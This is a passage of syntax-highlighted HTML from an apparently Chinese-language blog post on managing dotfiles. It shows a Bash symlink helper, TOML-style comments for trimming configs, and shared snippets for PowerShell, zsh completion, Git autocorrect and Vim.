&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;  local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; rest&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;  # Quote for echo: https:&#x2F;&#x2F;unix.stackexchange.com&#x2F;a&#x2F;443524&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;rest&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;link&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; () {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; to from&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    to&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;$1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    from&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=$(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;realpath&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    mkdir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;$(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;dirname&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$to&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$OSTYPE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span&gt; linux-gnu &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]];&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        ln&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -sfn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$from&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$to&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # msys&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        [[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $to&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; ]] &amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; rm&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -rf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$to&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;        to&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=$(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;win-path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$to&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;        from&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=$(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;win-path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$from&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;        # &#x2F;J v. &#x2F;D: https:&#x2F;&#x2F;superuser.com&#x2F;a&#x2F;1291446&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;        # &amp;quot;&#x2F;c xxx&amp;quot; or &#x2F;&#x2F;c xxx: https:&#x2F;&#x2F;stackoverflow.com&#x2F;a&#x2F;11878147&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;        # TODO quote path for cmd?&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        [[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $from&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; ]] &amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;c mklink &#x2F;J $to $from&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        [[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $from&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; ]] &amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;c mklink $to $from&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;details&gt;
&lt;h3 id=&quot;方便裁剪的注释&quot;&gt;方便裁剪的注释&lt;&#x2F;h3&gt;
&lt;p&gt;我有一个无关管理器的管理思路：让点文件变得方便裁剪。有时在用临时电脑时没必要把所有的点文件复制过来——只要把核心部分抄过来就好了。我使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TOML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;式的注释来标记配置的类别和层级，方便抄写时快速找到必需的部分&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-4&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-4-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-4-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[4]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-4-content&quot;&gt;选择模仿&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TOML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是因为在线性的配置文件里没有什么表示层级的好方法。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;比如我的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z
Shell&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;配置里有下面这几行：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# [completion]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;必要的内容&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# [completion.completer]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;必要的内容&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# [completion.menu]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;锦上添花的内容&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# [completion.file]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;锦上添花的内容&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;只要把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;completion&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;completion.completer&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;下的内容抄过来，补全就基本可用了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;一些点文件片段&quot;&gt;一些点文件片段&lt;&#x2F;h2&gt;
&lt;p&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GitHub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上分享点文件的行为蔚然成风。我最开始也在那里公开自己的点文件，但点文件难免会混杂一些私人内容——dotbot&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的作者用一个公开仓库和一个私人仓库解决私密点文件的问题；我嫌麻烦，就统统放到自己的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VPS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里了。可是，毕竟我的点文件有很大一部分是四处搜刮来的片段。如果我不分享我的点文件，就像用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;BT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;下载而不做种。正好趁此机会分享一些谁都用得上的片段吧。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fish&quot;&gt;fish&lt;&#x2F;h3&gt;
&lt;p&gt;fish&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不需要任何点文件就非常好用。我不知道为什么其他程序不学学&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fish。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;PowerShell&quot;&gt;PowerShell&lt;&#x2F;h3&gt;
&lt;p&gt;使用接近&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Bash（Emacs）的键位以及列表式的补全。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;powershell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;Set-PSReadLineOption&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;EditMode Emacs&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;Set-PSReadLineKeyHandler&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;Key Tab &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;Function MenuComplete&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;Set-PSReadlineOption&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;BellStyle None&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;Set-PSReadLineOption&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;PredictionSource History &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;PredictionViewStyle ListView&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;Bash&quot;&gt;Bash&lt;&#x2F;h3&gt;
&lt;p&gt;详见《&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;friendly-interactive-bash&#x2F;&quot;&gt;友好的交互式&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Bash&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Z_Shell&quot;&gt;Z Shell&lt;&#x2F;h3&gt;
&lt;p&gt;似乎大家都喜欢用别人写的配置框架。但&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z
Shell&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;毕竟还没复杂到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Emacs&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的程度，所以我还是喜欢写一个简短的配置文件。下面的补全方式来自&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;a&#x2F;68794830&quot;&gt;StackOverflow&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的答案&lt;&#x2F;a&gt;，可以模仿&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fish&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那样不分大小写并且从字符串中间匹配的行为。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;zstyle&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;:completion:*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; matcher-list&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;m:{[:lower:]}={[:upper:]}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;+r:|[._-]=* r:|=*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;+l:|=*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;Git&quot;&gt;Git&lt;&#x2F;h3&gt;
&lt;p&gt;这下再也不怕&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;git psuh&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了！&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;ini&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    autocorrect&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;Beets&quot;&gt;Beets&lt;&#x2F;h3&gt;
&lt;p&gt;详见《&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;good-bye-music-subscriptions&#x2F;#%E6%95%B4%E7%90%86&quot;&gt;再见，所有的音乐订阅&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;、&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dr-musicuration&#x2F;#%E7%94%9C%E8%8F%9C%EF%BC%88Beets%EF%BC%89%EF%BC%9A%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E8%B6%85%E8%BF%9B%E5%8C%96&quot;&gt;我如何停止担忧并爱上甜菜&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;(Neo)Vim&quot;&gt;(Neo)Vim&lt;&#x2F;h3&gt;
&lt;p&gt;注：Neovim&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;详见《&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;fennel-macro-neovim&#x2F;&quot;&gt;用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;宏配置&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Neovim&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;有些人喜欢把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Vim&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;配置成类似&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;IDE&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的样子，但我个人倾向于把它当成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;nano++&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来看待。专业的事还是得交给专业的工具。尽管如此，下面这几行还是值得一用的。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;viml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;&amp;quot; 打开文件时跳到上次编辑的位置，:h last-position-jump&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;autocmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; BufRead&lt;&#x2F;span&gt;&lt;span&gt; * &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;autocmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; FileType&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;buffer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ++&lt;&#x2F;span&gt;&lt;span&gt;once&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;  \ let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; s:line&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; line&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;quot;&amp;#39;\&amp;quot;&amp;quot;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;  \&lt;&#x2F;span&gt;&lt;span&gt; | &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; s:line&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;s:line&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; line&lt;&#x2F;span&gt;&lt;span style=&quot;color: 